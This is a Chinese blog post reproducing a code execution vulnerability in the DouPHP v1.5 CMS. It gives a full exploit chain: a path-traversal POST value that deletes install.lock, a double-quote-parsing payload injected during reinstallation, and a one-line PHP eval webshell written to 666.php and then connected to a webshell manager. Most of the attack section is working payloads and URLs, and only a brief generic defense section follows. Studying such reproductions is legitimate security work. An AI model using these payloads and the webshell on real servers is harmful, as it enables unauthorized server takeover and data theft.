我是靠谱客的博主 专注云朵,最近开发中收集的这篇文章主要介绍漏洞复现之DouPHP_v1.5_Release_20190711cms代码执行漏洞的利用与防御,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文章目录

    • 一、代码执行漏洞简介
    • 二、DouPHP简介
    • 三、PHP双引号的高级用法
    • 四、代码审计寻找代码执行漏洞
      • (一)寻找存在代码执行漏洞的点
      • (二)寻找可利用的unlink函数
      • (三)利用代码执行漏洞getshell
    • 五、DOUPHP代码执行漏洞总结及防御建议


本文根据网上公开的DOUPHP中安装页面存在的代码执行漏洞进行了代码审计和漏洞复现,并据此提出了针对该漏洞的防御建议。

一、代码执行漏洞简介

RCE(remote command/code execute)命令执行或者代码执行。RCE的原理是用户输入的数据被当做代码执行。存在RCE漏洞的系统,可以让攻击者直接向后台服务器远程注入操作系统命令或者恶意的后端代码,从而控制服务器。现在因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE。
 

二、DouPHP简介

DouPHP是一款免费开源的轻量级企业建站系统,基于PHP+MYSQL架构,包含多个模块,后台简约明了,从使用者而不是开发者的角度出发设计后台功能布局,可以轻松进行日常内容编辑工作。可以使用它快速搭建一个中小企业官网。基于现有框架通过模块扩展还可实现个人博客、网上商城、投票系统、企业在线办公等。


三、PHP双引号的高级用法

这里需要简单提一下双引号的高级用法,以便后面代码的理解。
在PHP5.5及以上版本存在着双引号的二次解析,按照PHP官方的解释,这是属于字符串的高级用法。双引号的二次解析能够将双引号内的字符串当成代码来执行,这本身并不是漏洞,但如果被加以利用,则可能产生一些意外的结果。
双引号二次解析的要点:
1、字符串得在双引号内
2、$和{} 得在一起
3、双引号内的代码是正确的,无语法错误
4、PHP版本要5.5.38以上
 

四、代码审计寻找代码执行漏洞

本文的漏洞触发链较长,通过普通的黑盒测试通常很难测出来,因此需要通过白盒测试才能找到这类漏洞。比如这样的触发过程:A页面输入一些恶意参数,B页面调用这些参数,到C页面再输入一些恶意参数,到D页面才执行,
因此这种复杂的漏洞利用过程往往需要通过代码审计才能找到。本文的代码执行漏洞及其利用过程也正是基于代码审计而得,接下来将一步一步分享寻找该漏洞的过程及漏洞利用的过程。

(一)寻找存在代码执行漏洞的点

从网上下载并安装好DouPHP_v1.5_Release_20190711cms。
安装完以后在浏览器访问127.0.0.1,会出现安装页面,同时在安装目录下的data文件夹出现了一个config.php文件,点开以后发现数据库的账号密码都是双引号括起来的,那么这时我们思考,有没有可能利用双引号的二次解析在这里进行一些“特殊的操作呢?”
在这里插入图片描述
data文件夹下同时还出现一个install.lock文件,从而锁定安装状态,可以把lock文件删掉,就可以再次安装了。删除install.lock文件重新安装,然后在账号或者密码的输入框里输入:

${file_put_contents($_GET[1],$_GET[2])}

这样是为了避免单引号被转义掉。(如果这里有单引号,会被转义掉)
信息填写完毕后,点击安装,发现页面没有反应,但是查看配置文件config.php,已经发生了改变:
在这里插入图片描述
所以实际上输入的数据已经生效了。那么这时候我们想,如果我根据这条路径访问一下这个文件,并传几个参数进去,会怎么样呢?
打开浏览器,在URL中输入:

127.0.0.1/data/config.php

接着在URL后面输入下列代码进行GET传参:

?1=666.php&2=<?php eval($_REQUEST[8]) ?>

测试是否写文件成功,访问:

127.0.0.1/data/666.php?8=phpinfo();

访问结果如下图所示:
在这里插入图片描述
说明config.php存在双引号的二次解析,通过对其加以利用,则有可能实现远程控制服务器。因此我们接下来的操作可以围绕config.php文件来进行。如果能够利用成功,则表明这个文件存在代码执行漏洞。

(二)寻找可利用的unlink函数

通过刚才的测试,我们知道config.php文件可能存在代码执行漏洞,但是正常情况下,我们访问一个网站是很难遇到安装界面的,而且就算遇到了,其安装页面也是锁定的状态。cms安装页面的锁定状态是由install.lock文件控制的,因此我们假如能把目标网站上的install.lock文件删掉,就有可能访问到安装页面。那么问题就变成了:如何删除目标网站的install.lock文件。
要删除目标网站的任意文件,需要先寻找任意文件删除漏洞。所以我们需要找到能被我们控制的删除函数,删掉指定的文件。在php中,可以通过unlink函数来删除文件。用seay源代码审计系统全局搜索含有unlink函数的文件,结果如下:
在这里插入图片描述

第一个文件中,ROOT_PATH没有$符号,也没有括号,说明是一个常量,常量无法被我们利用,因此可以不用看了。在第二个文件中:
在这里插入图片描述

注意到sql_filename这个变量输入的参数是要被is_backup_file函数处理的,那么就需要查看这个函数具体的作用是什么,定位到这个函数以后,发现该函数使用正则对传参内容进行了检测,要求结尾必须是.sql文件,并且限制了头尾,可见这里无法进行操作:
在这里插入图片描述
用同样的方法一个个文件找过去,最终在mobile.php文件中找到一个可利用的文件删除函数。
在这里插入图片描述
从代码中可以看出,想利用该函数,核心是利用好最后这个变量$mobile_logo
该变量最近的变化是在这行代码中:

$mobile_logo = $dou->get_one("SELECT value FROM " . 
$dou->table('config') . " WHERE name = 'mobile_logo'");

注:table()函数是给表名加个前缀。
这行代码的意思是,从数据库中获取字段mobile_logo的值。
这里我们直接登陆cms去访问目标文件看看是干什么的。注意到mobile.php这个文件是在admin目录下的,所以很可能是需要先登陆才能访问这个文件。所以先把刚才生成的config.php文件和666.php文件删除,然后安装一下网站,接着登陆到后台,访问/admin/mobile.php,得到如下页面:
在这里插入图片描述
尝试上传一张图片,随后出现了删除的功能:
在这里插入图片描述
可见刚才看的删除图片logo的代码就是这里的删除功能。我们回过头去,看这个删除操作的路径:
在这里插入图片描述
源代码中的路径很复杂,我们在本地先测试一下看看到底路径是什么,把unlink()函数改成die()函数,然后在网站后台中上传并删除一张图片,见到如下页面:
在这里插入图片描述
这样我们得知删除命令的路径是:
C:/phpstudy/WWW/m/theme/default/images/logo.jpg
同时这也证明,代码可以执行到这一步。
(这里简单提一下,这里的文件上传入口源代码中没有检测上传的文件后缀和内容,可能存在文件上传漏洞,有兴趣的可以去测试一下)
我们需要删除的文件在data/install.lock,所以需要一级一级跳到上级文件目录。在php中,上一级目录是用…/来表示,如果想要访问上一级目录,可以使用变量接收,就是:

$a="../"

这样$a表示的就是上一级目录。所以我们需要设法让源代码中的mobile_logo的值为:

../../../../data/install.lock

而该值是从数据库中读取的,那么就需要设法将数据库中,mobile_logo字段的值改为:

../../../../data/install.lock

现在问题就变成了,如何让数据库中mobile_logo字段的值变成任意一个我们指定的值?具体该如何操作呢?继续分析源代码,看到:
在这里插入图片描述
这里代码的意思相当于:

update config set value=$value where name=$name;

我们的目标是要让:

$value =../../../../data/install.lock,$name ='mobile_logo'

再看前面的代码:
在这里插入图片描述
代码如下:

foreach ($_POST as $name => $value) 

这是一个标准的写法,用于键值(键:值 key:value )分离,语法是:

foreach($x as $x1 => $x2)

这里的$x1就是键,$x2就是值,foreach()则是用于在php中遍历数组用的,结合键值分离,就是把数组中的键和值分开。
GET或者POST传参本身都是一个数组,键就是传参的名称,传参的参数就是值,比如:
在这里插入图片描述
1是键,123是值。
根据源代码,在系统设置数据更新这里的代码块中:
在这里插入图片描述
只要满足$act == 'update',即可执行foreach语句中的内容。因此我们的思路是,在上传图片这个板块,数据包修改一下,让下列的代码中if内的代码块不执行而执行foreach的内容:
在这里插入图片描述

从源代码中可以看出,foreach中需要post传参,$name的值要等于'mobile_logo'才能执行数据库的修改语句。POST传参的值经过测试,在下一行的空白处填的参数就是post的值。因此修改过程是, 在手机版这里点开,随便传个参数,然后抓包:
在这里插入图片描述
放包以后,去网站上删除刚才上传的图片(实际上没有上传图片,但是我们的数据包让系统认为传了张图片上去,所以会有删除的按钮)),接着出现了安装页面,表明删除install.lock文件操作成功:
在这里插入图片描述

(三)利用代码执行漏洞getshell

在安装页面的库名这里输入:

${file_put_contents($_GET[1],$_GET[2])}

如图所示:
在这里插入图片描述

填好其他信息后点击安装DOUPHP,虽然点安装按钮没反应,但是查看config.php文件,发现已经生效:
在这里插入图片描述

设置完以后,就可以尝试根据cofig.php的路径来访问这个文件:

127.0.0.1/data/config.php

接着在URL后面输入下列代码进行GET传参:

?1=666.php&2= <?php eval($_REQUEST[8]) ?>

然后验证是否成功:
在URL中输入:

?1=666.php&2= <?php eval($_REQUEST[8]) ?>

接着访问:

http://192.168.181.128/data/666.php?8=phpinfo();

在这里插入图片描述
使用webshell管理工具连接666.php文件:
在这里插入图片描述
成功控制目标服务器!


五、DOUPHP代码执行漏洞总结及防御建议

DOUPHP代码执行漏洞的利用过程为:弱密码进入网站后台->传参->利用任意文件删除漏洞删除install.lock文件->进入网站安装页面->注入恶意的指令->访问config.php文件->从URL进行传参->写木马文件->测试木马文件->getshell。
漏洞的触发链较长,一环扣一环,从防御的角度,只要阻断其中的任何一环,该漏洞将很难被利用。
首先,代码执行需要有后台管理员的权限,因此对于管理员账号,应避免使用弱密码。同时,对于用户的传参内容使用正则进行过滤,避免传入恶意的内容,在服务器上也需要随时检测用户上传的文件,一旦检测到恶意文件及时删除。此外,对cms的文件夹、文件名等进行修改,也能其到一定的防护作用。

最后

以上就是专注云朵为你收集整理的漏洞复现之DouPHP_v1.5_Release_20190711cms代码执行漏洞的利用与防御的全部内容,希望文章能够帮你解决漏洞复现之DouPHP_v1.5_Release_20190711cms代码执行漏洞的利用与防御所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(36)

评论列表共有 0 条评论

立即
投稿
返回
顶部